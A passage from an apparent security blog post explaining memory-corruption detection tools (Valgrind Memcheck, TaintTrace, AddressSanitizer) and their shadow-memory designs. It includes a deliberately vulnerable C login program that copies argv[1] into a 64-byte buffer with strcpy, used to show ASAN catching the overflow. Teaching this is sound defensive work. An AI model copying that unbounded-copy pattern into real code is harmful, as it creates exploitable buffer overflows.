style="font-size:10pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">&#xA0; </span><span style="font-size:10pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;"><br></span><span style="font-size:10pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">&#xA0; &#xA0; Static[</span><span style="font-size:10pt;font-family:Consolas,sans-serif;color:#d36363;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">5</span><span style="font-size:10pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">] = </span><span style="font-size:10pt;font-family:Consolas,sans-serif;color:#d36363;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">0</span><span style="font-size:10pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">;&#xA0; </span><span style="font-size:10pt;font-family:Consolas,sans-serif;color:#888888;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">/* Error - Static[0] to Static[4] exist, Static[5] is out of bounds */</span><span style="font-size:10pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;"><br></span><span style="font-size:10pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">&#xA0; &#xA0; Stack [</span><span style="font-size:10pt;font-family:Consolas,sans-serif;color:#d36363;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">5</span><span style="font-size:10pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">] = </span><span style="font-size:10pt;font-family:Consolas,sans-serif;color:#d36363;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">0</span><span style="font-size:10pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">;&#xA0; </span><span style="font-size:10pt;font-family:Consolas,sans-serif;color:#888888;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">/* Error - Stack[0] to Stack[4] exist, Stack[5] is out of bounds */</span><span style="font-size:10pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;"><br></span><span style="font-size:10pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">&#xA0; &#xA0; </span><span style="font-size:10pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;"><br></span><span style="font-size:10pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">&#xA0; &#xA0; </span><span style="font-size:10pt;font-family:Consolas,sans-serif;color:#fcc28c;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">return</span><span style="font-size:10pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;"> </span><span style="font-size:10pt;font-family:Consolas,sans-serif;color:#d36363;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">0</span><span style="font-size:10pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">;</span><span style="font-size:10pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;"><br></span><span style="font-size:10pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">&#xA0; }</span></p></td></tr></tbody></table><!--kg-card-end: html--><p><br></p><p><strong>Resources</strong>:</p><p><a href="https://nnethercote.github.io/pubs/memcheck2005.pdf?ref=nixhacker.com">https://nnethercote.github.io/pubs/memcheck2005.pdf</a></p><p><a href="https://www.cs.cmu.edu/afs/cs.cmu.edu/project/cmt-40/Nice/RuleRefinement/bin/valgrind-3.2.0/docs/html/mc-manual.html?ref=nixhacker.com">https://www.cs.cmu.edu/afs/cs.cmu.edu/project/cmt-40/Nice/RuleRefinement/bin/valgrind-3.2.0/docs/html/mc-manual.html</a></p><p></p><h3 id="taint-trace">Taint trace</h3><p>Developed in 2006 by researcher from MIT, Tainttrace was a tracing tool that protects systems from software exploits. The tool is capable of protecting against following types of memory corruptions:</p><ul><li>Buffer overflows</li><li>Format string attacks</li><li>Indirect branch modifications</li></ul><p>Tainttrace worked dynamically hence doesn&#x2019;t need any specific compilation. It uses DynamoRio for dynamic instrumentation. Besides that, it uses 1to1 shadow memory mapping for application memory to keep track of memory structure of process. More information below from there research paper:</p><p>The system consists of four components. A configuration file is used to specify the security policy. The shadow memory is a data structure used to maintain the taint information of application data. Program monitor is the core module used to perform the instrumentation, intercept system calls, and enforce security policies. A customized loader is used to load the application binary, shadow memory, and program monitor into different memory spaces. To start an application, our loader first loads the various components into specific memory spaces and then passes control to the program monitor. The program monitor reads the configuration file and sets up the tracing policy. It also initializes the shadow memory, that is, it marks the untrusted sources specified by the configuration file as tainted, and other sources as clear. After initialization, the application executes under our program monitor. All the code to be executed in user mode is first copied into the code cache. This includes application code and shared libraries. The program monitor inserts additional code for maintaining, propagating, and checking taint status before executing the code. In this way, we achieve comprehensive information flow tracing. At critical program points specified by our policy (e.g. indirect branch), run-time condition checking is performed to restrict sensitive data usage.</p><p><strong>Shadow memory</strong></p><p>As mentioned above, Tainttrace uses shadow memory to keep track of which memory is tainted and which in not. It uses following offset to store the shadow bytes representing the original program bytes:</p><pre><code>l2 = l1[(addr &gt;&gt; 16) &amp; 0xffff];
shadow = &amp;l2[addr &amp; 0xffff];</code></pre><p>It uses a simple addressing strategy that maps the shadow memory byte by adding a constant offset, shadow base, to the application memory byte address. The customized loader partitions the memory space to support this mapping. This byte- to-byte mapping makes taint propagation simple and efficient.</p><p><em>0 &#x2013; Good byte</em></p><p><em>1 &#x2013; Bad byte</em></p><p><strong>Implementation details</strong></p><p>The loader is implemented by modifying the source code of Valgrind. It consists of two stages. In stage 1, it loads the code of stage 2 into the monitor space (<em>0xb0000000 to 0xbfffffff</em>) and transfers control to stage 2. In stage 2, the application and its shared libraries are loaded into the application space <em>(0x000000000 to 0x57f00000</em>). It also loads DynamoRIO into the monitor space and transfers control to DynamoRIO. DynamoRIO loads our program monitor, dr-instrument.so, implemented as a shared library, into the monitor space. DynamoRIO constructs basic blocks for execution and instrument. so is used to perform the instrumentation and intercept system calls. Syscall interception is used for several purposes: allocating shadow memory, marking taint status for data read from files or sockets, and modifying temporary file operations.</p><h5 id="limitations-of-tainttrace">Limitations of TaintTrace</h5><p>The main problem with TaintTrace is its performance overhead of 5 times, which is caused by the need for instrumentation and continuous memory monitoring. Additionally, it should be noted that it requires twice the amount of memory compared to the default due to the use of shadow memory.</p><p>Since its release in 2006, the developer has not actively maintained it for several years, making it largely deprecated and not widely used.</p><p><strong>Resources:</strong></p><p><a href="https://wiki.aalto.fi/download/attachments/65019433/Jukka_Julku_dynamic_program_analysis_tools_for_software_security.pdf?version=1&amp;modificationDate=1336810687000&amp;api=v2&amp;ref=nixhacker.com">https://wiki.aalto.fi/download/attachments/65019433/Jukka_Julku_dynamic_program_analysis_tools_for_software_security.pdf?version=1&amp;modificationDate=1336810687000&amp;api=v2</a></p><p></p><h3 id="asan-addresssanatizer">ASAN (AddressSanatizer)</h3><p>Address Sanatizer (ASAN) was first introduced by Google in 2012. Unlike first and second gen mitigations, this was introduced to detect memory corruption bugs in the debug environment and never meant to be part of the production system due to its performance implications.</p><p>In summary, AddressSanitizer (aka ASan) is a memory error detector tool that is implemented in different compiler like gcc, clang &#xA0;that detects bugs in the form of undefined or suspicious behavior by a compiler inserting instrumentation code at runtime. Asan is capable of detecting following class of memory corruption bugs:</p><ul><li>Use after free (dangling pointer dereference)</li><li>Heap buffer overflow</li><li>Stack buffer overflow</li><li>Global buffer overflow</li><li>Use after return</li><li>Use after scope</li><li>Initialization order bugs</li><li>Memory leaks</li></ul><h5 id="address-sanitizer-implementation-details">Address Sanitizer Implementation details:</h5><p>AddressSanitizer consists of two parts: an instrumentation module and a run-time library. The instrumentation module modifies the code to check the shadow state for each memory access and creates poisoned red-zones around stack and global objects to detect overflows and underflows. The run-time library replaces malloc, free and related functions, creates poisoned redzones around allocated heap regions, delays the reuse of freed heap regions, and does error reporting.</p><p>Let&apos;s try to run our classic buffer overflow program and observe the output produced by ASAN.</p><!--kg-card-begin: html--><table style="border:none;border-collapse:collapse;"><colgroup></colgroup><tbody><tr style="height:0pt"><td style="vertical-align:top;background-color:#333333;padding:5pt 5pt 5pt 5pt;overflow:hidden;overflow-wrap:break-word;"><p dir="ltr" style="line-height:1.38;margin-top:0pt;margin-bottom:0pt;"><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#fc9b9b;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">#include &lt;stdio.h&gt;</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;"><br></span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#fc9b9b;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">#include &lt;string.h&gt;</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;"><br></span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;"><br></span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#fcc28c;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">int</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;"> </span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffaa;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">main</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">(</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#fcc28c;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">int</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;"> argc, </span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#fcc28c;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">char</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;"> *argv[])</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;"><br></span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">{</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;"><br></span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">&#xA0; &#xA0; &#xA0; &#xA0; </span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#fcc28c;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">char</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;"> password[</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#d36363;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">64</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">];</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;"><br></span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">&#xA0; &#xA0; &#xA0; &#xA0; </span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffaa;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">strcpy</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">(password, argv[</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#d36363;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">1</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">]);</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;"><br></span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">&#xA0; &#xA0; &#xA0; &#xA0; </span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#fcc28c;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">if</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;"> (</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffaa;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">strcmp</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">(password, </span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#a2fca2;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">&quot;secret&quot;</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">) == </span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#d36363;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">0</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">)</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;"><br></span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">&#xA0; &#xA0; &#xA0; &#xA0; {</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;"><br></span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">&#xA0; &#xA0; &#xA0; &#xA0; &#xA0; &#xA0; &#xA0; &#xA0; </span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffaa;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">printf</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">(</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#a2fca2;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">&quot;Sucessfully login\n&quot;</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">);</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;"><br></span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">&#xA0; &#xA0; &#xA0; &#xA0; }</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;"><br></span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">&#xA0; &#xA0; &#xA0; &#xA0; </span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#fcc28c;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">else</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;"><br></span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">&#xA0; &#xA0; &#xA0; &#xA0; {</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;"><br></span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">&#xA0; &#xA0; &#xA0; &#xA0; &#xA0; &#xA0; &#xA0; &#xA0; </span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffaa;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">printf</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">(</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#a2fca2;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">&quot;Password doesn&apos;t match. Unanble to login.\n&quot;</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">);</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;"><br></span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">&#xA0; &#xA0; &#xA0; &#xA0; }</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;"><br></span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">&#xA0; &#xA0; &#xA0; &#xA0; </span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#fcc28c;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">return</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;"> </span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#d36363;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">0</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">;</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;"><br></span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">}</span></p></td></tr></tbody></table><!--kg-card-end: html--><p><br></p><p>You can compile it using gcc and clang since both support ASAN, while compiling provide a special flag to tell the compiler to build binary with ASAN support.</p><!--kg-card-begin: html--><table style="border:none;border-collapse:collapse;"><colgroup></colgroup><tbody><tr style="height:0pt"><td style="vertical-align:top;background-color:#333333;padding:5pt 5pt 5pt 5pt;overflow:hidden;overflow-wrap:break-word;"><p dir="ltr" style="line-height:1.38;margin-top:0pt;margin-bottom:0pt;"><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">clang -O1 -g -fsanitize=address -fno-omit-frame-pointer classic_overflow.c</span></p></td></tr></tbody></table><!--kg-card-end: html--><p>Let&#x2019;s execute the above program with a buffer overflow scenario:</p><figure class="kg-card kg-image-card"><img src="https://lh7-us.googleusercontent.com/-0DYr8wLhRfmUUY-1t_w_tAHjqnt4rzWhwTn6OvyrJ-w0OOnNgnVW4i_hIFNvfJNAC9DNVA77GSltkupcBvYY9Mv1UqH5mwnybcjEEvKlkSp95LK8lXDIaWTadYOVpunkG4IN2IcLVq47DbkkMoz9hA" class="kg-image" alt="Nostalgic memory - An attempt to understand the evolution of memory corruption mitigations - Part 4" loading="lazy" width="624" height="360"></figure><p>In the above scenario, it is evident that ASAN is capable of detecting the buffer overflow. Subsequently, the output provides the call stack. Adjacent to the call stack is the line number and the event that triggers the overflow. Following that, we possess the shadow memory that ASAN has preserved for the process. Let us delve deeper into the significance of this shadow memory.</p><p><strong>Shadow memory</strong></p><p>ASAN maintains a separate memory for itself in the process memory that keeps track of the original process memory (i.e stack and heap allocations). This shadow memory has information about the current state of the original memory. &#xA0;ASAN allocates 1 byte of shadow memory to each 8 bytes of application/process memory. These bytes can have one of the values:</p><ul><li><em>FX (F1 to FF)</em> &#x2013; To refer the red zones. Red zones can also be referred as guard bytes that are memory that is not addressable to application flow i.e process events should not read/write these bytes (similar to guard pages).</li><li><em>00 </em>&#x2013; Complete 8 bytes that this shadow byte point is addressable.</li><li><em>0X </em>(X lies between 0-7) &#x2013; X number of bytes are addressable.</li></ul><p>Let&#x2019;s try to understand it with an example.</p><p>An allocation of 10 bytes using<em> <code>char a[10]</code></em> will be represented as <em><code>00 02</code></em>. Where 00 represents the first 8 bytes of allocated memory for &#x201C;a&#x201D; and 02 for the remaining 2 bytes.</p><figure class="kg-card kg-image-card"><img src="https://lh7-us.googleusercontent.com/gHHia0JFPRhyIMAKT5tA0XIA-2o02JpBsAU8yaUeIZCJQNjBToyCQMrspPQd98P3-1eW8n7O_HqrePWPUA_OknV8cGLFDG-z2HhF9LH89wOgtfpsOCqyd1uAF-w1Y5EOQrlpIJRObQCTln6oaMW8lgo" class="kg-image" alt="Nostalgic memory - An attempt to understand the evolution of memory corruption mitigations - Part 4" loading="lazy" width="431" height="161"></figure><p>Few more examples below:</p><!--kg-card-begin: html--><table style="border:none;border-collapse:collapse;"><colgroup><col width="312"><col width="312"></colgroup><tbody><tr style="height:0pt"><td style="border-left:solid #000000 0.5pt;border-right:solid #000000 0.5pt;border-bottom:solid #000000 0.5pt;border-top:solid #000000 0.5pt;vertical-align:top;padding:0pt 5.4pt 0pt 5.4pt;overflow:hidden;overflow-wrap:break-word;"><p dir="ltr" style="line-height:1.2;margin-top:0pt;margin-bottom:0pt;"><span style="font-size:11pt;font-family:Calibri,sans-serif;color:#000000;background-color:transparent;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">Process bytes</span></p></td><td style="border-left:solid #000000 0.5pt;border-right:solid #000000 0.5pt;border-bottom:solid #000000 0.5pt;border-top:solid #000000 0.5pt;vertical-align:top;padding:0pt 5.4pt 0pt 5.4pt;overflow:hidden;overflow-wrap:break-word;"><p dir="ltr" style="line-height:1.2;margin-top:0pt;margin-bottom:0pt;"><span 